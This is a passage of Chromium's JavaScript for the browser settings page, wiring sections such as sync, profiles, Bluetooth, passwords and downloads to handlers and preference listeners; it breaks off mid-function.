text:
// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

cr.define('options', function() {
  var OptionsPage = options.OptionsPage;
  var ArrayDataModel = cr.ui.ArrayDataModel;
  var RepeatingButton = cr.ui.RepeatingButton;

  //
  // BrowserOptions class
  // Encapsulated handling of browser options page.
  //
  function BrowserOptions() {
    OptionsPage.call(this, 'settings', loadTimeData.getString('settingsTitle'),
                     'settings');
  }

  cr.addSingletonGetter(BrowserOptions);

  BrowserOptions.prototype = {
    __proto__: options.OptionsPage.prototype,

    /**
     * Keeps track of the state of |start-stop-button|. On chrome, the value is
     * true when the user is signed in, and on chromeos, when sync setup has
     * been completed.
     * @type {boolean}
     * @private
     */
    signedIn_: false,

    /**
     * Keeps track of whether |onShowHomeButtonChanged_| has been called. See
     * |onShowHomeButtonChanged_|.
     * @type {boolean}
     * @private
     */
    onShowHomeButtonChangedCalled_: false,

    /**
     * Track if page initialization is complete.  All C++ UI handlers have the
     * chance to manipulate page content within their InitializePage methods.
     * This flag is set to true after all initializers have been called.
     * @type {boolean}
     * @private
     */
    initializationComplete_: false,

    /** @override */
    initializePage: function() {
      OptionsPage.prototype.initializePage.call(this);
      var self = this;

      // Ensure that navigation events are unblocked on uber page. A reload of
      // the settings page while an overlay is open would otherwise leave uber
      // page in a blocked state, where tab switching is not possible.
      uber.invokeMethodOnParent('stopInterceptingEvents');

      window.addEventListener('message', this.handleWindowMessage_.bind(this));

      $('advanced-settings-expander').onclick = function() {
        self.toggleSectionWithAnimation_(
            $('advanced-settings'),
            $('advanced-settings-container'));

        // If the link was focused (i.e., it was activated using the keyboard)
        // and it was used to show the section (rather than hiding it), focus
        // the first element in the container.
        if (document.activeElement === $('advanced-settings-expander') &&
                $('advanced-settings').style.height === '') {
          var focusElement = $('advanced-settings-container').querySelector(
              'button, input, list, select, a[href]');
          if (focusElement)
            focusElement.focus();
        }
      }

      $('advanced-settings').addEventListener('webkitTransitionEnd',
          this.updateAdvancedSettingsExpander_.bind(this));

      if (cr.isChromeOS)
        UIAccountTweaks.applyGuestModeVisibility(document);

      // Sync (Sign in) section.
      this.updateSyncState_(loadTimeData.getValue('syncData'));

      $('start-stop-sync').onclick = function(event) {
        if (self.signedIn_)
          SyncSetupOverlay.showStopSyncingUI();
        else if (cr.isChromeOS)
          SyncSetupOverlay.showSetupUIWithoutLogin();
        else
          SyncSetupOverlay.showSetupUI();
      };
      $('customize-sync').onclick = function(event) {
        if (cr.isChromeOS)
          SyncSetupOverlay.showSetupUIWithoutLogin();
        else
          SyncSetupOverlay.showSetupUI();
      };

      // Internet connection section (ChromeOS only).
      if (cr.isChromeOS) {
        options.network.NetworkList.decorate($('network-list'));
        options.network.NetworkList.refreshNetworkData(
            loadTimeData.getValue('networkData'));
      }

      // On Startup section.
      Preferences.getInstance().addEventListener('session.restore_on_startup',
          this.onRestoreOnStartupChanged_.bind(this));
      Preferences.getInstance().addEventListener(
          'session.urls_to_restore_on_startup',
          function(event) {
            $('startup-set-pages').disabled = event.value.disabled;
          });

      $('startup-set-pages').onclick = function() {
        OptionsPage.navigateToPage('startup');
      };

      // Appearance section.
      Preferences.getInstance().addEventListener('browser.show_home_button',
          this.onShowHomeButtonChanged_.bind(this));

      Preferences.getInstance().addEventListener('homepage',
          this.onHomePageChanged_.bind(this));
      Preferences.getInstance().addEventListener('homepage_is_newtabpage',
          this.onHomePageIsNtpChanged_.bind(this));

      $('change-home-page').onclick = function(event) {
        OptionsPage.navigateToPage('homePageOverlay');
      };

      if ($('set-wallpaper')) {
        $('set-wallpaper').onclick = function(event) {
          chrome.send('openWallpaperManager');
        };
      }

      $('themes-gallery').onclick = function(event) {
        window.open(loadTimeData.getString('themesGalleryURL'));
      };
      $('themes-reset').onclick = function(event) {
        chrome.send('themesReset');
      };

      // Device section (ChromeOS only).
      if (cr.isChromeOS) {
        $('keyboard-settings-button').onclick = function(evt) {
          OptionsPage.navigateToPage('keyboard-overlay');
        };
        $('pointer-settings-button').onclick = function(evt) {
          OptionsPage.navigateToPage('pointer-overlay');
        };
      }

      // Search section.
      $('manage-default-search-engines').onclick = function(event) {
        OptionsPage.navigateToPage('searchEngines');
        chrome.send('coreOptionsUserMetricsAction',
                    ['Options_ManageSearchEngines']);
      };
      $('default-search-engine').addEventListener('change',
          this.setDefaultSearchEngine_);
      if (loadTimeData.getValue('instant_enabled') ==
          'instant_extended.enabled') {
        // We don't want to see the confirm dialog for instant extended.
        $('instant-enabled-control').removeAttribute('dialog-pref');
        $('instant-enabled-indicator').removeAttribute('dialog-pref');
        // And we want to upload a different metric name.
        $('instant-enabled-control').setAttribute(
            'metric', 'Options_InstantExtendedEnabled');
      }

      // Users section.
      if (loadTimeData.valueExists('profilesInfo')) {
        $('profiles-section').hidden = false;

        var profilesList = $('profiles-list');
        options.browser_options.ProfileList.decorate(profilesList);
        profilesList.autoExpands = true;

        this.setProfilesInfo_(loadTimeData.getValue('profilesInfo'));

        profilesList.addEventListener('change',
            this.setProfileViewButtonsStatus_);
        $('profiles-create').onclick = function(event) {
          ManageProfileOverlay.showCreateDialog();
        };
        if (OptionsPage.isSettingsApp()) {
          $('profiles-app-list-switch').onclick = function(event) {
            var selectedProfile = self.getSelectedProfileItem_();
            chrome.send('switchAppListProfile', [selectedProfile.filePath]);
          };
        }
        $('profiles-manage').onclick = function(event) {
          ManageProfileOverlay.showManageDialog();
        };
        $('profiles-delete').onclick = function(event) {
          var selectedProfile = self.getSelectedProfileItem_();
          if (selectedProfile)
            ManageProfileOverlay.showDeleteDialog(selectedProfile);
        };
        if (loadTimeData.getBoolean('profileIsManaged')) {
          $('profiles-create').disabled = true;
          $('profiles-delete').disabled = true;
          $('profiles-list').canDeleteItems = false;
        }
      }

      if (cr.isChromeOS) {
        if (!UIAccountTweaks.loggedInAsGuest()) {
          $('account-picture-wrapper').onclick = function(event) {
            OptionsPage.navigateToPage('changePicture');
          };
        }

        // Username (canonical email) of the currently logged in user or
        // |kGuestUser| if a guest session is active.
        this.username_ = loadTimeData.getString('username');

        this.updateAccountPicture_();

        $('account-picture-wrapper').oncontextmenu = function(e) {
          e.preventDefault();
        };

        $('manage-accounts-button').onclick = function(event) {
          OptionsPage.navigateToPage('accounts');
          chrome.send('coreOptionsUserMetricsAction',
              ['Options_ManageAccounts']);
        };
      } else {
        $('import-data').onclick = function(event) {
          ImportDataOverlay.show();
          chrome.send('coreOptionsUserMetricsAction', ['Import_ShowDlg']);
        };

        if ($('themes-GTK-button')) {
          $('themes-GTK-button').onclick = function(event) {
            chrome.send('themesSetGTK');
          };
        }
      }

      // Default browser section.
      if (!cr.isChromeOS) {
        $('set-as-default-browser').onclick = function(event) {
          chrome.send('becomeDefaultBrowser');
        };

        $('auto-launch').onclick = this.handleAutoLaunchChanged_;
      }

      // Privacy section.
      $('privacyContentSettingsButton').onclick = function(event) {
        OptionsPage.navigateToPage('content');
        OptionsPage.showTab($('cookies-nav-tab'));
        chrome.send('coreOptionsUserMetricsAction',
            ['Options_ContentSettings']);
      };
      $('privacyClearDataButton').onclick = function(event) {
        OptionsPage.navigateToPage('clearBrowserData');
        chrome.send('coreOptionsUserMetricsAction', ['Options_ClearData']);
      };
      $('privacyClearDataButton').hidden = OptionsPage.isSettingsApp();
      // 'metricsReportingEnabled' element is only present on Chrome branded
      // builds.
      if ($('metricsReportingEnabled')) {
        $('metricsReportingEnabled').onclick = function(event) {
          chrome.send('metricsReportingCheckboxAction',
              [String(event.currentTarget.checked)]);
        };
      }

      // Bluetooth (CrOS only).
      if (cr.isChromeOS) {
        options.system.bluetooth.BluetoothDeviceList.decorate(
            $('bluetooth-paired-devices-list'));

        $('bluetooth-add-device').onclick =
            this.handleAddBluetoothDevice_.bind(this);

        $('enable-bluetooth').onchange = function(event) {
          var state = $('enable-bluetooth').checked;
          chrome.send('bluetoothEnableChange', [Boolean(state)]);
        };

        $('bluetooth-reconnect-device').onclick = function(event) {
          var device = $('bluetooth-paired-devices-list').selectedItem;
          var address = device.address;
          chrome.send('updateBluetoothDevice', [address, 'connect']);
          OptionsPage.closeOverlay();
        };

        $('bluetooth-reconnect-device').onmousedown = function(event) {
          // Prevent 'blur' event, which would reset the list selection,
          // thereby disabling the apply button.
          event.preventDefault();
        };

        $('bluetooth-paired-devices-list').addEventListener('change',
            function() {
          var item = $('bluetooth-paired-devices-list').selectedItem;
          var disabled = !item || item.connected || !item.connectable;
          $('bluetooth-reconnect-device').disabled = disabled;
        });
      }

      // Passwords and Forms section.
      $('autofill-settings').onclick = function(event) {
        OptionsPage.navigateToPage('autofill');
        chrome.send('coreOptionsUserMetricsAction',
            ['Options_ShowAutofillSettings']);
      };
      $('manage-passwords').onclick = function(event) {
        OptionsPage.navigateToPage('passwords');
        OptionsPage.showTab($('passwords-nav-tab'));
        chrome.send('coreOptionsUserMetricsAction',
            ['Options_ShowPasswordManager']);
      };
      if (cr.isChromeOS && UIAccountTweaks.loggedInAsGuest()) {
        // Disable and turn off Autofill in guest mode.
        var autofillEnabled = $('autofill-enabled');
        autofillEnabled.disabled = true;
        autofillEnabled.checked = false;
        cr.dispatchSimpleEvent(autofillEnabled, 'change');
        $('autofill-settings').disabled = true;

        // Disable and turn off Password Manager in guest mode.
        var passwordManagerEnabled = $('password-manager-enabled');
        passwordManagerEnabled.disabled = true;
        passwordManagerEnabled.checked = false;
        cr.dispatchSimpleEvent(passwordManagerEnabled, 'change');
        $('manage-passwords').disabled = true;
      }

      if (cr.isMac) {
        $('mac-passwords-warning').hidden =
            !loadTimeData.getBoolean('multiple_profiles');
      }

      // Network section.
      if (!cr.isChromeOS) {
        $('proxiesConfigureButton').onclick = function(event) {
          chrome.send('showNetworkProxySettings');
        };
      }

      // Web Content section.
      $('fontSettingsCustomizeFontsButton').onclick = function(event) {
        OptionsPage.navigateToPage('fonts');
        chrome.send('coreOptionsUserMetricsAction', ['Options_FontSettings']);
      };
      $('defaultFontSize').onchange = function(event) {
        var value = event.target.options[event.target.selectedIndex].value;
        Preferences.setIntegerPref(
             'webkit.webprefs.default_fixed_font_size',
             value - OptionsPage.SIZE_DIFFERENCE_FIXED_STANDARD, true);
        chrome.send('defaultFontSizeAction', [String(value)]);
      };
      $('defaultZoomFactor').onchange = function(event) {
        chrome.send('defaultZoomFactorAction',
            [String(event.target.options[event.target.selectedIndex].value)]);
      };

      // Languages section.
      $('language-button').onclick = function(event) {
        OptionsPage.navigateToPage('languages');
        chrome.send('coreOptionsUserMetricsAction',
            ['Options_LanuageAndSpellCheckSettings']);
      };

      // Downloads section.
      Preferences.getInstance().addEventListener('download.default_directory',
          this.onDefaultDownloadDirectoryChanged_.bind(this));
      $('downloadLocationChangeButton').onclick = function(event) {
        chrome.send('selectDownloadLocation');
      };
      if (!cr.isChromeOS) {
        $('autoOpenFileTypesResetToDefault').onclick = function(event) {
          chrome.send('autoOpenFileTypesAction');
        };
      }

      // HTTPS/SSL section.
      if (cr.isWindows || cr.isMac) {
        $('certificatesManageButton').onclick = function(event) {
          chrome.send('showManageSSLCertificates');
        };
      } else {
        $('certificatesManageButton').onclick = function(event) {
          OptionsPage.navigateToPage('certificates');
          chrome.send('coreOptionsUserMetricsAction',
                      ['Options_ManageSSLCertificates']);
        };
      }

      // Cloud Print section.
      // 'cloudPrintProxyEnabled' is true for Chrome branded builds on
      // certain platforms, or could be enabled by a lab.
      if (!cr.isChromeOS) {
        $('cloudPrintConnectorSetupButton').onclick = function(event) {
          if ($('cloudPrintManageButton').style.display == 'none') {
            // Disable the button, set its text to the intermediate state.
            $('cloudPrintConnectorSetupButton').textContent =
              loadTimeData.getString('cloudPrintConnectorEnablingButton');
            $('cloudPrintConnectorSetupButton').disabled = true;
            chrome.send('showCloudPrintSetupDialog');
          } else {
            chrome.send('disableCloudPrintConnector');
          }
        };
      }
      $('cloudPrintManageButton').onclick = function(event) {
        chrome.send('showCloudPrintManagePage');
      };

      // Accessibility section (CrOS only).
      if (cr.isChromeOS) {
        $('accessibility-spoken-feedback-check').onchange = function(event) {
          chrome.send('spokenFeedbackChange',
                      [$('accessibility-spoken-feedback-check').checked]);
        };

        $('accessibility-high-contrast-check').onchange = function(event) {
          chrome.send('highContrastChange',
                      [$('accessibility-high-contrast-check').checked]);
        };

        // Disable the magnifier-type dropdown list when the magnifier is
        // disabled.
        Preferences.getInstance().addEventListener(
            'settings.a11y.screen_magnifier',
            function(event) {
              $('accessibility-screen-magnifier-type-select').setDisabled(
                  'magnifier-is-disabled', !event.value.value);
            });

      }

      // Display management section (CrOS only).
      if (cr.isChromeOS) {
        $('display-options').onclick = function(event) {
          OptionsPage.navigateToPage('display');
          chrome.send('coreOptionsUserMetricsAction',
                      ['Options_Display']);
        };
      }

      // Factory reset section (CrOS only).
      if (cr.isChromeOS) {
        $('factory-reset-restart').onclick = function(event) {
          OptionsPage.navigateToPage('factoryResetData');
        };
      }

      // Kiosk section (CrOS only).
      if (cr.isChromeOS) {
        if (loadTimeData.getBoolean('enableKioskSection')) {
          $('kiosk-section').hidden = false;

          $('manage-kiosk-apps-button').onclick = function(event) {
            OptionsPage.navigateToPage('kioskAppsOverlay');
          };
        }
      }

      // System section.
      if (!cr.isChromeOS) {
        var updateGpuRestartButton = function() {
          $('gpu-mode-reset-restart').hidden =
              loadTimeData.getBoolean('gpuEnabledAtStart') ==
              $('gpu-mode-checkbox').checked;
        };
        Preferences.getInstance().addEventListener(
            $('gpu-mode-checkbox').getAttribute('pref'),
            updateGpuRestartButton);
        $('gpu-mode-reset-restart-button').onclick = function(event) {
          chrome.send('restartBrowser');
        };
        updateGpuRestartButton();
      }

      if (loadTimeData.getBoolean('managedUsersEnabled') &&
          loadTimeData.getBoolean('profileIsManaged')) {
        $('managed-user-settings-section').hidden = false;

        $('open-managed-user-settings-button').onclick = function(event) {
          OptionsPage.navigateToPage('managedUser');
        };
      }
    },

    /** @override */
    didShowPage: function() {
      $('search-field').focus();
    },

   /**
    * Called after all C++ UI handlers have called InitializePage to notify
    * that initialization is complete.
    * @private
    */
    notifyInitializationComplete_: function() {
      this.initializationComplete_ = true;
      cr.dispatchSimpleEvent(document, 'initializationComplete');
    },

    /**
     * Event listener for the 'session.restore_on_startup' pref.
     * @param {Event} event The preference change event.
     * @private
     */
    onRestoreOnStartupChanged_: function(event) {
      /** @const */ var showHomePageValue = 0;

      if (event.value.value == showHomePageValue) {
        // If the user previously selected "Show the homepage", the
        // preference will already be migrated to "Open a specific page". So
        // the only way to reach this code is if the 'restore on startup'
        // preference is managed.
        assert(event.value.controlledBy);

        // Select "open the following pages" and lock down the list of URLs
        // to reflect the intention of the policy.
        $('startup-show-pages').checked = true;
        StartupOverlay.getInstance().setControlsDisabled(true);
      } else {
        // Re-enable the controls in the startup overlay if necessary.
        StartupOverlay.getInstance().updateControlStates();
      }
    },

    /**
     * Handler for messages sent from the main uber page.
     * @param {Event} e The 'message' event from the uber page.
     * @private
     */
    handleWindowMessage_: function(e) {
      if (e.data.method == 'frameSelected')
        $('search-field').focus();
    },

    /**
     * Shows the given section.
     * @param {HTMLElement} section The section to be shown.
     * @param {HTMLElement} container The container for the section. Must be
     *     inside of |section|.
     * @param {boolean} animate Indicate if the expansion should be animated.
     * @private
     */
    showSection_: function(section, container, animate) {
      if (animate)
        this.addTransitionEndListener_(section);

      // Unhide
      section.hidden = false;

      var expander = function() {
        // Reveal the section using a WebKit transition if animating.
        if (animate) {
          section.classList.add('sliding');
          section.style.height = container.offsetHeight + 'px';
        } else {
          section.style.height = 'auto';
        }
        // Force an update of the list of paired Bluetooth devices.
        if (cr.isChromeOS)
          $('bluetooth-paired-devices-list').refresh();
      };

      // Delay starting the transition if animating so that hidden change will
      // be processed.
      if (animate)
        setTimeout(expander, 0);
      else
        expander();
      },

    /**
     * Shows the given section, with animation.
     * @param {HTMLElement} section The section to be shown.
     * @param {HTMLElement} container The container for the section. Must be
     *     inside of |section|.
     * @private
     */
    showSectionWithAnimation_: function(section, container) {
      this.showSection_(section, container, /*animate */ true);
    },

    /**
     * See showSectionWithAnimation_.
     */
    hideSectionWithAnimation_: function(section, container) {
      this.addTransitionEndListener_(section);

      // Before we start hiding the section, we need to set
      // the height to a pixel value.
      section.style.height = container.offsetHeight + 'px';

      // Delay starting the transition so that the height change will be
      // processed.
      setTimeout(function() {
        // Hide the section using a WebKit transition.
        section.classList.add('sliding');
        section.style.height = '';
      }, 0);
    },

    /**
     * See showSectionWithAnimation_.
     */
    toggleSectionWithAnimation_: function(section, container) {
      if (section.style.height == '')
        this.showSectionWithAnimation_(section, container);
      else
        this.hideSectionWithAnimation_(section, container);
    },

    /**
     * Scrolls the settings page to make the section visible auto-expanding
     * advanced settings if required.  The transition is not animated.  This
     * method is used to ensure that a section associated with an overlay
     * is visible when the overlay is closed.
     * @param {!Element} section  The section to make visible.
     * @private
     */
    scrollToSection_: function(section) {
      var advancedSettings = $('advanced-settings');
      var container = $('advanced-settings-container');
      if (advancedSettings.hidden && section.parentNode == container) {
        this.showSection_($('advanced-settings'),
                          $('advanced-settings-container'),
                          /* animate */ false);
        this.updateAdvancedSettingsExpander_();
      }

      if (!this.initializationComplete_) {
        var self = this;
        var callback = function() {
           document.removeEventListener('initializationComplete', callback);
           self.scrollToSection_(section);
        };
        document.addEventListener('initializationComplete', callback);
        return;
      }

      var pageContainer = $('page-container');
      var pageTop = parseFloat(pageContainer.style.top);
      var topSection = document.querySelector('#page-container section');
      var pageHeight = document.body.scrollHeight - topSection.offsetTop;
      var sectionTop = section.offsetTop;
      var sectionHeight = section.offsetHeight;
      var marginBottom = window.getComputedStyle(section).marginBottom;
      if (marginBottom)
        sectionHeight += parseFloat(marginBottom);
      if (pageHeight - pageTop < sectionTop + sectionHeight) {
        pageContainer.oldScrollTop = sectionTop + sectionHeight - pageHeight;
        var verticalPosition = pageContainer.getBoundingClientRect().top -
            pageContainer.oldScrollTop;
        pageContainer.style.top = verticalPosition + 'px';
      }
    },

    /**
     * Adds a |webkitTransitionEnd| listener to the given section so that
     * it can be animated. The listener will only be added to a given section
     * once, so this can be called as multiple times.
     * @param {HTMLElement} section The section to be animated.
     * @private
     */
    addTransitionEndListener_: function(section) {
      if (section.hasTransitionEndListener_)
        return;

      section.addEventListener('webkitTransitionEnd',
          this.onTransitionEnd_.bind(this));
      section.hasTransitionEndListener_ = true;
    },

    /**
     * Called after an animation transition has ended.
     * @private
     */
    onTransitionEnd_: function(event) {
      if (event.propertyName != 'height')
        return;

      var section = event.target;

      // Disable WebKit transitions.
      section.classList.remove('sliding');

      if (section.style.height == '') {
        // Hide the content so it can't get tab focus.
        section.hidden = true;
      } else {
        // Set the section height to 'auto' to allow for size changes
        // (due to font change or dynamic content).
        section.style.height = 'auto';
      }
    },

    updateAdvancedSettingsExpander_: function() {
      var expander = $('advanced-settings-expander');
      if ($('advanced-settings').style.height == '')
        expander.textContent = loadTimeData.getString('showAdvancedSettings');
      else
        expander.textContent = loadTimeData.getString('hideAdvancedSettings');
    },

    /**
     * Updates the sync section with the given state.
     * @param {Object} syncData A bunch of data records that describe the status
     *     of the sync system.
     * @private
     */
    updateSyncState_: function(syncData) {
      if (!syncData.signinAllowed) {
        $('sync-section').hidden = true;
        return;
      }

      $('sync-section').hidden = false;

      if (cr.isChromeOS)
        this.signedIn_ = syncData.setupCompleted;
      else
        this.signedIn_ = syncData.signedIn;

      // Display the "setup sync" button if we're signed in and sync is not
      // managed/disabled.
      $('customize-sync').hidden = !this.signedIn_ ||
                                   syncData.managed ||
                                   !syncData.syncSystemEnabled;

      var startStopButton = $('start-stop-sync');
      // Disable the "start/stop syncing" button if we're currently signing in,
      // or if we're already signed in and signout is not allowed.
      startStopButton.disabled = syncData.setupInProgress ||
                                 !syncData.signoutAllowed;
      if (!syncData.signoutAllowed)
        $('start-stop-sync-indicator').setAttribute('controlled-by', 'policy');
      else
        $('start-stop-sync-indicator').removeAttribute('controlled-by');

      // Hide the "start/stop syncing" button on Chrome OS if sync has already
      // been set up, or if it is managed or disabled.
      startStopButton.hidden = cr.isChromeOS && (syncData.setupCompleted ||
                                                 syncData.isManaged ||
                                                 !syncData.syncSystemEnabled);
      startStopButton.textContent =
          this.signedIn_ ?
              loadTimeData.getString('syncButtonTextStop') :
              syncData.setupInProgress ?
                  loadTimeData.getString('syncButtonTextInProgress') :
                  loadTimeData.getString('syncButtonTextStart');
      $('start-stop-sync-indicator').hidden = startStopButton.hidden;

      // TODO(estade): can this just be textContent?
      $('sync-status-text').innerHTML = syncData.statusText;
      var statusSet = syncData.statusText.length != 0;
      $('sync-overview').hidden = statusSet;
      $('sync-status').hidden = !statusSet;

      $('sync-action-link').textContent = syncData.actionLinkText;
      // Don't show the action link if it is empty or undefined.
      $('sync-action-link').hidden = syncData.actionLinkText.length == 0;
      $('sync-action-link').disabled = syncData.managed ||
                                       !syncData.syncSystemEnabled;

      // On Chrome OS, sign out the user and sign in again to get fresh
      // credentials on auth errors.
      $('sync-action-link').onclick = function(event) {
        if (cr.isChromeOS && syncData.hasError)
          SyncSetupOverlay.doSignOutOnAuthError();
        else
          SyncSetupOverlay.showErrorUI();
      };

      if (syncData.hasError)
        $('sync-status').classList.add('sync-error');
      else
        $('sync-status').classList.remove('sync-error');

      $('customize-sync').disabled = syncData.hasUnrecoverableError;
      // Move #enable-auto-login-checkbox to a different location on CrOS.
      if (cr.isChromeOs) {
        $('sync-general').insertBefore($('sync-status').nextSibling,
                                       $('enable-auto-login-checkbox'));
      }
      $('enable-auto-login-checkbox').hidden = !syncData.autoLoginVisible;
    },

    /**
     * Get the start/stop sync button DOM element. Used for testing.
     * @return {DOMElement} The start/stop sync button.
     * @private
     */
    getStartStopSyncButton_: function() {
      return $('start-stop-sync');
    },

    /**
     * Event listener for the 'show home button' preference. Shows/hides the
     * UI for changing the home page with animation, unless this is the first
     * time this function is called, in which case there is no animation.
     * @param {Event} event The preference change event.
     */
    onShowHomeButtonChanged_: function(event) {
      var section = $('change-home-page-section');
      if (this.onShowHomeButtonChangedCalled_) {
        var container = $('change-home-page-section-container');
        if (event.value.value)
          this.showSectionWithAnimation_(section, container);
        else
          this.hideSectionWithAnimation_(section, container);
      } else {
        section.hidden = !event.value.value;
        this.onShowHomeButtonChangedCalled_ = true;
      }
    },

    /**
     * Event listener for the 'homepage is NTP' preference. Updates the label
     * next to the 'Change' button.
     * @param {Event} event The preference change event.
     */
    onHomePageIsNtpChanged_: function(event) {
      if (!event.value.uncommitted) {
        $('home-page-url').hidden = event.value.value;
        $('home-page-ntp').hidden = !event.value.value;
      }
    },

    /**
     * Event listener for changes to the homepage preference. Updates the label
     * next to the 'Change' button.
     * @param {Event} event The preference change event.
     */
    onHomePageChanged_: function(event) {
      if (!event.value.uncommitted)
        $('home-page-url').textContent = this.stripHttp_(event.value.value);
    },

    /**
     * Removes the 'http://' from a URL, like the omnibox does. If the string
     * doesn't start with 'http://' it is returned unchanged.
     * @param {string} url The url to be processed
     * @return {string} The url with the 'http://' removed.
     */
    stripHttp_: function(url) {
      return url.replace(/^http:\/\//, '');
    },

   /**
    * Shows the autoLaunch preference and initializes its checkbox value.
    * @param {bool} enabled Whether autolaunch is enabled or or not.
    * @private
    */
    updateAutoLaunchState_: function(enabled) {
      $('auto-launch-option').hidden = false;
      $('auto-launch').checked = enabled;
    },

    /**
     * Called when the value of the download.default_directory preference
     * changes.
     * @param {Event} event Change event.
     * @private
     */
    onDefaultDownloadDirectoryChanged_: function(event) {
      $('downloadLocationPath').value = event.value.value;
      if (cr.isChromeOS) {
        // On ChromeOS, replace /special/drive with Drive for drive paths, and
        // /home/chronos/user/Downloads with Downloads for local files.
        // Also replace '/' with ' \u203a ' (angled quote sign) everywhere.
        var path = $('downloadLocationPath').value;
        path = path.replace(/^\/special\/drive/, 'Google Drive');
        path = path.replace(/^\/home\/chronos\/user\//, '');
        path = path.replace(/\//g, ' \u203a ');
        $('downloadLocationPath').value = path;
      }
      if (event.value.disabled)
        $('download-location-label').classList.add('disabled');
      else
        $('download-location-label').classList.remove('disabled');
      $('downloadLocationChangeButton').disabled = event.value.disabled;
    },

    /**
     * Update the Default Browsers section based on the current state.
     * @param {string} statusString Description of the current default state.
     * @param {boolean} isDefault Whether or not the browser is currently
     *     default.
     * @param {boolean} canBeDefault Whether or not the browser can be default.
     * @private
     */
    updateDefaultBrowserState_: function(statusString, isDefault,
                                         canBeDefault) {
      if (!cr.isChromeOS) {
        var label = $('default-browser-state');
        label.textContent = statusString;

        $('set-as-default-browser').hidden = !canBeDefault || isDefault;
      }
    },

    /**
     * Clears the search engine popup.
     * @private
     */
    clearSearchEngines_: function() {
      $('default-search-engine').textContent = '';
    },

    /**
     * Updates the search engine popup with the given entries.
     * @param {Array} engines List of available search engines.
     * @param {number} defaultValue The value of the current default engine.
     * @param {boolean} defaultManaged Whether the default search provider is
     *     managed. If true, the default search provider can't be changed.
     * @private
     */
    updateSearchEngines_: function(engines, defaultValue, defaultManaged) {
      this.clearSearchEngines_();
      engineSelect = $('default-search-engine');
      engineSelect.disabled = defaultManaged;
      if (defaultManaged && defaultValue == -1)
        return;
      engineCount = engines.length;
      var defaultIndex = -1;
      for (var i = 0; i < engineCount; i++) {
        var engine = engines[i];
        var option = new Option(engine.name, engine.index);
        if (defaultValue == option.value)
          defaultIndex = i;
        engineSelect.appendChild(option);
      }
      if (defaultIndex >= 0)
        engineSelect.selectedIndex = defaultIndex;
    },

    /**
     * Set the default search engine based on the popup selection.
     * @private
     */
    setDefaultSearchEngine_: function() {
      var engineSelect = $('default-search-engine');
      var selectedIndex = engineSelect.selectedIndex;
      if (selectedIndex >= 0) {
        var selection = engineSelect.options[selectedIndex];
        chrome.send('setDefaultSearchEngine', [String(selection.value)]);
      }
    },

   /**
     * Sets or clear whether Chrome should Auto-launch on computer startup.
     * @private
     */
    handleAutoLaunchChanged_: function() {
      chrome.send('toggleAutoLaunch', [$('auto-launch').checked]);
    },

    /**
     * Get the selected profile item from the profile list. This also works
     * correctly if the list is not displayed.
     * @return {Object} the profile item object, or null if nothing is selected.
     * @private
     */
    getSelectedProfileItem_: function() {
      var profilesList = $('profiles-list');
      if (profilesList.hidden) {
        if (profilesList.dataModel.length > 0)
          return profilesList.dataModel.item(0);
      } else {
        return profilesList.selectedItem;
      }
      return null;
    },

    /**
     * Helper function to set the status of profile view buttons to disabled or
     * enabled, depending on the number of profiles and selection status of the
     * profiles list.
     * @private
     */
    setProfileViewButtonsStatus_: function() {
      var profilesList = $('profiles-list');
      var selectedProfile = profilesList.selectedItem;
      var hasSelection = selectedProfile != null;
      var hasSingleProfile = profilesList.dataModel.length == 1;
      var isManaged = loadTimeData.getBoolean('profileIsManaged');
      $('profiles-manage').disabled = !hasSelection ||
          !selectedProfile.isCurrentProfile;
      if (hasSelection && !selectedProfile.isCurrentProfile)
        $('profiles-manage').title = loadTimeData.getString('currentUserOnly');
      else
        $('profiles-manage').title = '';
      $('profiles-delete').disabled = isManaged ||
                                      (!hasSelection && !hasSingleProfile);
      if (OptionsPage.isSettingsApp()) {
        $('profiles-app-list-switch').disabled = !hasSelection ||
            selectedProfile.isCurrentProfile;
      }
      var importData = $('import-data');
      if (importData) {
        importData.disabled = $('import-data').disabled = hasSelection &&
          !selectedProfile.isCurrentProfile;
      }
    },

    /**
     * Display the correct dialog layout, depending on how many profiles are
     * available.
     * @param {number} numProfiles The number of profiles to display.
     * @private
     */
    setProfileViewSingle_: function(numProfiles) {
      var hasSingleProfile = numProfiles == 1;
      $('profiles-list').hidden = hasSingleProfile;
      $('profiles-single-message').hidden = !hasSingleProfile;
      $('profiles-manage').hidden =
          hasSingleProfile || OptionsPage.isSettingsApp();
      $('profiles-delete').textContent = hasSingleProfile ?
          loadTimeData.getString('profilesDeleteSingle') :
          loadTimeData.getString('profilesDelete');
      if (OptionsPage.isSettingsApp())
        $('profiles-app-list-switch').hidden = hasSingleProfile;
    },

    /**
     * Adds all |profiles| to the list.
     * @param {Array.<Object>} profiles An array of profile info objects.
     *     each object is of the form:
     *       profileInfo = {
     *         name: "Profile Name",
     *         iconURL: "chrome://path/to/icon/image",
     *         filePath: "/path/to/profile/data/on/disk",
     *         isCurrentProfile: false
     *       };
     * @private
     */
    setProfilesInfo_: function(profiles) {
      this.setProfileViewSingle_(profiles.length);
      // add it to the list, even if the list is hidden so we can access it
      // later.
      $('profiles-list').dataModel = new ArrayDataModel(profiles);

      // Received new data. If showing the "manage" overlay, keep it up to
      // date. If showing the "delete" overlay, close it.
      if (ManageProfileOverlay.getInstance().visible &&
          !$('manage-profile-overlay-manage').hidden) {
        ManageProfileOverlay.showManageDialog();
      } else {
        ManageProfileOverlay.getInstance().visible = false;
      }

      this.setProfileViewButtonsStatus_();
    },

    /**
     * Returns the currently active profile for this browser window.
     * @return {Object} A profile info object.
     * @private
     */
    getCurrentProfile_: function() {
      for (var i = 0; i < $('profiles-list').dataModel.length; i++) {
        var profile = $('profiles-list').dataModel.item(i);
        if (profile.isCurrentProfile)
          return profile;
      }

      assert(false,
             'There should always be a current profile, but none found.');
    },

    setGtkThemeButtonEnabled_: function(enabled) {
      if (!cr.isChromeOS && navigator.platform.match(/linux|BSD/i))
        $('themes-GTK-button').disabled = !enabled;
    },

    setThemesResetButtonEnabled_: function(enabled) {
      $('themes-reset').disabled = !enabled;
    },

    /**
     * (Re)loads IMG element with current user account picture.
     * @private
     */
    updateAccountPicture_: function() {
      var picture = $('account-picture');
      if (picture) {
        picture.src = 'chrome://userimage/' + this.username_ + '?id=' +
            Date.now();
      }
    },

    /**
     * Handle the 'add device' button click.
     * @private
     */
    handleAddBluetoothDevice_: function() {
      $('bluetooth-unpaired-devices-list').clear();
      chrome.send('findBluetoothDevices');
